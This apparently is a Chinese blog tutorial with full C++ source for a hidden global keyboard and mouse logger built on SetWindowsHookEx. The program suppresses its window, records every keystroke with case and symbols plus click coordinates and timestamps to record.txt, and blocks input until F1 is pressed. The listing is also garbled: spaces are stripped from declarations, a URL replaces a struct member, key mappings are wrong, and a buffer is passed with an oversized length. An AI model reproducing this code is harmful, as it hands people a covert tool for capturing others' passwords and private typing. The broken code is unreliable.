记一次通过HOOK实现简单的全局键盘、鼠标记录器
0、说明1、SetWindowsHookEx函数介绍
(1)第一个参数
(2)第二个参数
(3)第三个参数
(4)第四个参数
2、设置全局钩子获取消息队列中的消息
(1)写在main函数之前
(2)安装钩子
(3)获取消息队列中的消息
(4)设置钩子过程函数
3、键盘钩子过程函数
(1)键盘钩子过程函数的参数
(2)KBDLLHOOKSTRUCT结构体
(3)识别大小写或特殊字符
(4)记录按键时间和按键状态
(5)将按键信息记录到文件里
(6)拦截所有按键消息,按F1键卸载钩子解除拦截
4、鼠标钩子过程函数
(1)键盘钩子过程函数的参数
(2)MSLLHOOKSTRUCT结构体
(3)识别鼠标按键消息
(4)拦截鼠标按键消息,记录到文件
5、总结
6、演示效果
7、所有源码
7、参考文章
0、说明
记录一次利用SetWindowsHookEx这个API设置全局键盘、鼠标钩子的过程。
这个钩子是直接在写在exe里面,没有写在dll里。通过消息循环,钩子会直接截获消息队列中的消息,执行钩子对应的过程函数。
相当于基于windows消息机制的消息Hook,
最后效果是:
- 拦截全局键盘,识别大小写和特殊字符,(不响应键盘所有按键)。
- 鼠标点击消息,识别左右按键,不拦截鼠标移动消息,(鼠标可以正常移动,无法响应点击)。
- 将按键消息和鼠标点击消息记录在文件里。
- 直到按下
F1键时,卸载全局键盘、鼠标钩子,所有恢复正常。
当然,也可以不拦截消息,只做一个消息监视器,监视所有消息。
环境:Win10
编译器:VS2019
1、SetWindowsHookEx函数介绍
//HHOOK是设定的钩子句柄,一般定义为全局变量。
HHOOKSetWindowsHookExA(
[in] intidHook,
[in] HOOKPROClpfn,
[in] HINSTANCEhmod,
[in] DWORDdwThreadId
);
(1)第一个参数
idHook代表代表设置钩子的类型,比如键盘钩子、鼠标钩子、消息钩子等,微软给了宏定义,以下列几个常用的
| 宏含义 | |
| WH_KEYBOARD | 钩取键盘输入消息 |
| WH_KEYBOARD_LL | 钩取低级键盘输入消息 |
| WH_MOUSE | 钩取鼠标输入消息 |
| WH_MOUSE_LL | 钩取低级鼠标输入消息 |
| WH_MSGFILTER | 监视一些窗口控件交互的消息(对话框、菜单、滚动条等) |
| WH_GETMESSAGE | 钩取所有从消息队列出来的消息 |
我们要制作的钩子类型就是WH_KEYBOARD_LL、和WH_MOUSE_LL,(如果是在dll中就得使用WH_KEYBOARD和WH_MOUSE)。
(2)第二个参数
lpfn代表钩子的过程函数指针,钩子的过程函数类型是HOOKPROC,微软有官方解释:
HOOKPROCHookproc;
LRESULTHookproc(
intcode,
[in] WPARAMwParam,
[in] LPARAMlParam
)
钩子过程函数类型大概是固定的,三个参数,记录消息信息,但重点是,不同的钩子类型,也对应不同的参数用法。(下面的键盘钩子过程函数、鼠标钩子过程函数会分别展开讲解。)
(3)第三个参数
hmod指向一般指向过程函数所在模块的句柄,对于本钩子而言,就是自己模块的句柄,即:
GetModuleHandle(NULL)
(4)第四个参数
dwThreadId代表需要勾住的特定线程的ID。
对于桌面应用程序,如果设置为NULL,则挂钩过程与调用线程在同一桌面上运行的所有现有线程相关联,即设置为NULL代表全局钩子。
2、设置全局钩子获取消息队列中的消息
(1)写在main函数之前
因为我写的钩子是直接写到exe里面,所以下面有声明全局变量和一些函数声明写在main函数之前。
#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
//预编译,让控制台窗口程序,不显示控制台窗口,直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include<Windows.h>
#include <stdio.h>
#include <iostream>
//全局键盘Hook句柄
HHOOKhKeyboardHook;
//全局鼠标hook句柄
HHOOKhMouseHook;
//安装钩子hook的函数
BOOLHookKeyBoardProc();
//记录Shift消息
BOOLbShift=FALSE;
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);
(2)安装钩子
然后在主进程里安装钩子。
//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(
WH_KEYBOARD_LL,//Installs a hook procedure that monitors low-level keyboard input events.
KeyBoardProc, //键盘钩子的过程函数
GetModuleHandle(NULL),//指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID,NULL代表全局钩子
);
//安装鼠标钩子
hMouseHook=SetWindowsHookExA(
WH_MOUSE_LL,//Installs a hook procedure that monitors low-level mouse input events.
MouseCursorProc, //鼠标钩子的过程函数
GetModuleHandle(NULL), //指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID,NULL代表全局钩子
);//安装
(3)获取消息队列中的消息
当全局钩子设定好,我们要主动去系统消息队列中获取消息。
MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
因为钩子函数特性,如果写在主程序exe里,搭配这个消息循环,这时所有消息会优先通过提前安装的钩子,通过钩子的过程函数,可以处理这个消息,并决定这个消息是否传递给其他窗口过程函数。
(4)设置钩子过程函数
这里给出钩子过程函数框架:微软官方文档:HOOKPROC
LRESULTCALLBACKHookProcedureFunc(intnCode, WPARAMwParam, LPARAMlParam) {
printf("Hello!HOOK Procedure Function!\n");
return0;
//return 1;
//return CallNextHookEx
}
注意返回值,根据规定,
非零就是将钩子截获的特定类型消息不传递给窗口过程函数,即直接拦截。
为零就继续传递窗口过程函数处理,即只是监视。
但如果存在相同类型的钩子链,可以通过
return CallNextHookEx
来传递截获的消息传给钩子链中的下一个钩子再做处理,即向下传递钩取的消息,但要注意,这样的话,过程函数的返回值也会通过钩子链向上传递,影响消息是否传被拦截还是监视。
此时钩子已经安装好了,已经可以实现简单的监视功能,所有我们符合我们设置类型的消息会优先被我们的钩子函数处理。
下面就是完善钩子的过程函数,对截获的消息进行处理,实现键盘、鼠标消息记录。
3、键盘钩子过程函数
//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );
当第一个参数钩子类型设置为WH_KEYBOARD_LL时,第四个参数为NULL时,代表设置的钩子为全局键盘钩子。
此时被拦截的消息表示为:按键DOWN、按键UP。(即一个按键被按下产生一个消息,放开按键又产生一个消息)
(1)键盘钩子过程函数的参数
此时键盘钩子对应的窗口过程函数:微软官方:LowLevelKeyboardProc 回调函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}
第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数
第二个参数代表windows消息:WM_KEYDOWN和WM_KEYUP,分别代表键盘按键按下和放开。
第三个参数指向KBDLLHOOKSTRUCT结构的指针,结构体指针。
(2)KBDLLHOOKSTRUCT结构体
typedefstructtagKBDLLHOOKSTRUCT {
DWORDvkCode;//虚拟键码,1~254范围的值
DWORDscanCode;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
键盘钩子这里我们只需要明白这个结构体的第一个成员vkCode代表一个虚拟键码。
虚拟键码:即键盘上每一个按键都对应这一个虚拟键码。
但是虚拟键码不会区分大小写或特殊字符的情况。所以需要我们通过算法识别。
(3)识别大小写或特殊字符
一般我们使用键盘,造成大小写差异的按键就是CapsLk和Shift按键,注意Shift有左右两个。
关于CapsLk按键,通过下面获取CapsLk状态,是否开启大写。
SHORTcapsShort=GetKeyState(VK_CAPITAL);
BOOLcaps=FALSE; // 默认大写关闭
if (capsShort>0)
{
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps=TRUE;
}
关于Shift按键,通过下面获取Shift按键状态,是否正在被按下且没有放开按键。
//VK_LSHIFT和VK_RSHIFT分别代表左右Shift按键的虚拟键码。
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
{
bShift=TRUE;
}
elseif (wParam==WM_KEYUP)
{
bShift=FALSE;
}
else
{
bShift=FALSE;
}
}
然后通过算法HookCode子函数,来识别按键是否大小写或特殊字符
PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
HookCode(p->vkCode , caps, bShift, WM_Key);//WM_Key是自定义的数组,存储返回的字符串
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
{
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0: key="0"; break;
caseVK_NUMPAD1: key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3: key="3"; break;
caseVK_NUMPAD4: key="4"; break;
caseVK_NUMPAD5: key="5"; break;
caseVK_NUMPAD6: key="6"; break;
caseVK_NUMPAD7: key="7"; break;
caseVK_NUMPAD8: key="8"; break;
caseVK_NUMPAD9: key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD: key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL: key="."; break;
caseVK_DIVIDE: key="/"; break;
// Function Keys
caseVK_F1: key="[F1]"; break;
caseVK_F2: key="[F2]"; break;
caseVK_F3: key="[F3]"; break;
caseVK_F4: key="[F4]"; break;
caseVK_F5: key="[F5]"; break;
caseVK_F6: key="[F6]"; break;
caseVK_F7: key="[F7]"; break;
caseVK_F8: key="[F8]"; break;
caseVK_F9: key="[F9]"; break;
caseVK_F10: key="[F10]"; break;
caseVK_F11: key="[F11]"; break;
caseVK_F12: key="[F12]"; break;
caseVK_F13: key="[F13]"; break;
caseVK_F14: key="[F14]"; break;
caseVK_F15: key="[F15]"; break;
caseVK_F16: key="[F16]"; break;
caseVK_F17: key="[F17]"; break;
caseVK_F18: key="[F18]"; break;
caseVK_F19: key="[F19]"; break;
caseVK_F20: key="[F20]"; break;
caseVK_F21: key="[F22]"; break;
caseVK_F22: key="[F23]"; break;
caseVK_F23: key="[F24]"; break;
caseVK_F24: key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL: key="[SCROLL-LOCK]"; break;
caseVK_BACK: key="[BACK]"; break;
caseVK_TAB: key="[TAB]"; break;
caseVK_CLEAR: key="[CLEAR]"; break;
caseVK_RETURN: key="[ENTER]"; break;
caseVK_SHIFT: key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU: key="[ALT]"; break;
caseVK_PAUSE: key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE: key="[ESC]"; break;
caseVK_SPACE: key="[SPACE]"; break;
caseVK_PRIOR: key="[PAGEUP]"; break;
caseVK_NEXT: key="[PAGEDOWN]"; break;
caseVK_END: key="[END]"; break;
caseVK_HOME: key="[HOME]"; break;
caseVK_LEFT: key="[LEFT]"; break;
caseVK_UP: key="[UP]"; break;
caseVK_RIGHT: key="[RIGHT]"; break;
caseVK_DOWN: key="[DOWN]"; break;
caseVK_SELECT: key="[SELECT]"; break;
caseVK_PRINT: key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT: key="[INS]"; break;
caseVK_DELETE: key="[DEL]"; break;
caseVK_HELP: key="[HELP]"; break;
// Number Keys with shift
case0x30: key=shift?"!" : "1"; break;
case0x31: key=shift?"@" : "2"; break;
case0x32: key=shift?"#" : "3"; break;
case0x33: key=shift?"$" : "4"; break;
case0x34: key=shift?"%" : "5"; break;
case0x35: key=shift?"^" : "6"; break;
case0x36: key=shift?"&" : "7"; break;
case0x37: key=shift?"*" : "8"; break;
case0x38: key=shift?"(" : "9"; break;
case0x39: key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN: key="[WIN]"; break;
caseVK_RWIN: key="[WIN]"; break;
caseVK_LSHIFT: key="[SHIFT]"; break;
caseVK_RSHIFT: key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1: key=shift?":" : ";"; break;
caseVK_OEM_PLUS: key=shift?"+" : "="; break;
caseVK_OEM_COMMA: key=shift?"<" : ","; break;
caseVK_OEM_MINUS: key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2: key=shift?"?" : "/"; break;
caseVK_OEM_3: key=shift?"~" : "`"; break;
caseVK_OEM_4: key=shift?"{" : "["; break;
caseVK_OEM_5: key=shift?"\\" : "|"; break;
caseVK_OEM_6: key=shift?"}" : "]"; break;
caseVK_OEM_7: key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY: key="[PLAY]";
caseVK_ZOOM: key="[ZOOM]";
caseVK_OEM_CLEAR: key="[CLEAR]";
caseVK_CANCEL: key="[CTRL-C]";
default: key="[UNK-KEY]";
break;
}
key.copy(Out+strlen(Out), key.length(), 0);
return ;
}
(4)记录按键时间和按键状态
char WM_Key[40] = {0};
char Date_Key[200] = { 0 };
SYSTEMTIME time;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
int len = strlen(Date_Key);
if (wParam == WM_KEYDOWN)
{
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
}
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
}
HookCode(p->vkCode , caps, bShift, WM_Key);
strcpy(Date_Key+strlen(Date_Key), WM_Key);
len = strlen(Date_Key);
Date_Key[len] = '\n';
Date_Key[len+1] = 0;
(5)将按键信息记录到文件里
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
}
/********************************************************
函数作用:将字符消息写入对应文件。
返回值:是否写入成功acq
*********************************************************/
BOOL WriteMessageToFile(char* Date_Key, int len) {
HANDLE hFile = CreateFileA(
"./record.txt",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
return FALSE;
}
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORD dwWrited = 0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);
return TRUE;
}
(6)拦截所有按键消息,按F1键卸载钩子解除拦截
前面说过,如果安装的钩子要拦截消息,那么钩子的过程函数返回值就的是一个非零的值。
所以我们令钩子的过程函数return 1。
然后设置一个按键表示手动卸载钩子,解除拦截。
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
UnhookWindowsHookEx(hKeyboardHook);//卸载键盘钩子
UnhookWindowsHookEx(hMouseHook);//卸载鼠标钩子
::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted!", L"Tip", NULL);
exit(0);
}
以上就是键盘钩子过程函数的设定了。
4、鼠标钩子过程函数
//安装鼠标钩子
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);
当第一个参数钩子类型设置为WH_MOUSE_LL时,第四个参数为NULL时,代表设置的钩子为全局键盘钩子。
此时被拦截的消息表示为:鼠标上按键的按下和放开。
鼠标上的按键可以有很多,但是我们这个钩子只是简单识别鼠标左键、右键的按下和放开即可。
(1)键盘钩子过程函数的参数
此时鼠标钩子对应的窗口过程函数:微软官方:LowLevelMouseProc 回调函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}
第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数
第二个参数代表windows消息包含鼠标按键和鼠标移动:WM_LBUTTONDOWN、WM_LBUTTONUP和WM_RBUTTONDOWN、WM_RBUTTONUP,我们着重这四个消息,分别代表鼠标左键的按下、放开和右键的按下、放开。(因为我们不拦截鼠标移动消息,只拦截鼠标左右按键按下的消息。)
第三个参数指向MSLLHOOKSTRUCT结构的指针,结构体指针。
(2)MSLLHOOKSTRUCT结构体
typedefstructtagMSLLHOOKSTRUCT {
POINThttps://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85);//POINT结构体,pt->x、pt->y记录鼠标的x、y坐标
DWORDmouseData;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} MSLLHOOKSTRUCT, *LPMSLLHOOKSTRUCT, *PMSLLHOOKSTRUCT;
鼠标钩子这里我们只需要明白这个结构体的第一个成员pt,指向一个POINT结构。
用于记录鼠标发出点击事件时的坐标。
(3)识别鼠标按键消息
//同样是记录消息产生时间
SYSTEMTIME time;
GetLocalTime(&time);
char Date_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
switch (wParam)
{
case WM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
case WM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
case WM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
case WM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return 0;
}
这里default: return 0;表示,如果鼠标钩子钩取的鼠标消息,不是我们预定的四个鼠标按键消息,即是鼠标移动的消息,那么就将钩子过程函数return 0;,代表将这个鼠标移动的消息正常传递给窗口过程函数,即不拦截。
(4)拦截鼠标按键消息,记录到文件
intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
}
return1;
这里是钩子过程函数结尾,所以直接return 1;代表钩子拦截消息。
以上就是钩子函数的过程函数设定了。
5、总结
根据前面设定键盘钩子、鼠标钩子,我们可以发现相似点。
不管是键盘钩子的过程函数:微软官方:LowLevelKeyboardProc 回调函数,
还是鼠标钩子的过程函数:微软官方:LowLevelMouseProc 回调函数
其实函数类型都是一样的,只是参数的用法不同而已。包括第二个参数wParam都是代表windows消息类型,第三个参数指向的结构体,虽然定义不同,但可以发现,本质是一样的,也就是可以说他们就是一样的结构体,只是当我们设定不同类型钩子的时候,这个结构体成员代表的意义也不同。
我们再回头去看微软官方文档:SetWindowsHookEx,可以发现,说这个API第二个参数是函数指针,类型为HOOKPROC。
那么就再去查一下HOOKPROC,果然:微软官方文档:HOOKPROC 回调函数,告诉我们,这个函数的第三个参数是指向CWPRETSTRUCT结构的指针。
就发现,键盘钩子指向的KBDLLHOOKSTRUCT结构和鼠标钩子指向的MSLLHOOKSTRUCT结构本质上都是CWPRETSTRUCT结构。
6、演示效果
执行效果,因为不显示控制台窗口,所以执行后没有任何显示,但是此时键盘、鼠标按键已经被拦截失效,直到按F1键同时卸载鼠标、键盘钩子,恢复正常,拦截的消息记录在exe同文件下生成的record.txt文件。
- 拦截全局键盘,识别大小写和特殊字符,(不响应键盘所有按键)。
- 鼠标点击消息,识别左右按键,不拦截鼠标移动消息,(鼠标可以正常移动,无法响应点击)。
- 将按键消息和鼠标点击消息记录在文件里。
- 直到按下
F1键时,卸载全局键盘、鼠标钩子,所有恢复正常。
按下F1后,会弹出MessageBox提示已经卸载钩子。
然后打开record.txt文件,记录鼠标键盘按键消息。
7、所有源码
因为写在主程序里,所以就一个cpp文件。
//环境:Win10
//编译:VS2019,创建简单的C++空项目。
#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
//预编译,让控制台窗口程序,不显示控制台窗口,直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include<Windows.h>
#include <stdio.h>
#include <iostream>
//全局键盘Hook句柄
HHOOKhKeyboardHook;
//全局鼠标hook句柄
HHOOKhMouseHook;
//安装钩子hook的函数
BOOLHookKeyBoardProc();
//记录Shift消息
BOOLbShift=FALSE;
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);
//int KeyN = 0;
intmain() {
HookKeyBoardProc();
return0;
}
/********************************************************
函数作用:设置键盘钩子
返回值:是否hook成功
*********************************************************/
BOOLHookKeyBoardProc() {
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);
//hMouseHook = (HHOOK)1;
if (!(hKeyboardHook&&hMouseHook )) {
//printf("Failed to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Failed!", L"Tip", NULL);
returnFALSE;
}
else {
//printf("Start to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Success!", L"Tip", NULL);
MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
//Sleep(5000);
}
returnTRUE;
}
/********************************************************
函数作用:将字符消息写入对应文件。
返回值:是否写入成功acq
*********************************************************/
BOOLWriteMessageToFile(char*Date_Key, intlen) {
HANDLEhFile=CreateFileA(
"./record.txt",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile==INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
returnFALSE;
}
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORDdwWrited=0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);
returnTRUE;
}
/********************************************************
函数作用:鼠标钩子回调
返回值:是否hook成功acq
*********************************************************/
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
PMSLLHOOKSTRUCTp= (PMSLLHOOKSTRUCT)lParam;
SYSTEMTIMEtime;
GetLocalTime(&time);
charDate_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
switch (wParam)
{
caseWM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
caseWM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
caseWM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
caseWM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return0;
}
intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
}
return1;
}
/********************************************************
函数作用:键盘钩子回调
返回值:是否hook成功acq
*********************************************************/
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {
PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
BOOLcaps=FALSE; // 默认大写关闭
SHORTcapsShort=GetKeyState(VK_CAPITAL);
charszKey[20] = { 0 };
GetKeyNameTextA(lParam, szKey, 100);
if (capsShort>0)
{
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps=TRUE;
}
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
{
bShift=TRUE;
}
elseif (wParam==WM_KEYUP)
{
bShift=FALSE;
}
else
{
bShift=FALSE;
}
}
if (p->vkCode )
{
charWM_Key[40] = {0};
charDate_Key[200] = { 0 };
SYSTEMTIMEtime;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
intlen=strlen(Date_Key);
if (wParam==WM_KEYDOWN)
{
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
}
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
}
HookCode(p->vkCode , caps, bShift, WM_Key);
strcpy(Date_Key+strlen(Date_Key), WM_Key);
len=strlen(Date_Key);
Date_Key[len] ='\n';
Date_Key[len+1] =0;
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
}
if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
UnhookWindowsHookEx(hKeyboardHook);
UnhookWindowsHookEx(hMouseHook);
::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted!", L"Tip", NULL);
exit(0);
}
}
return1;
}
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
{
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
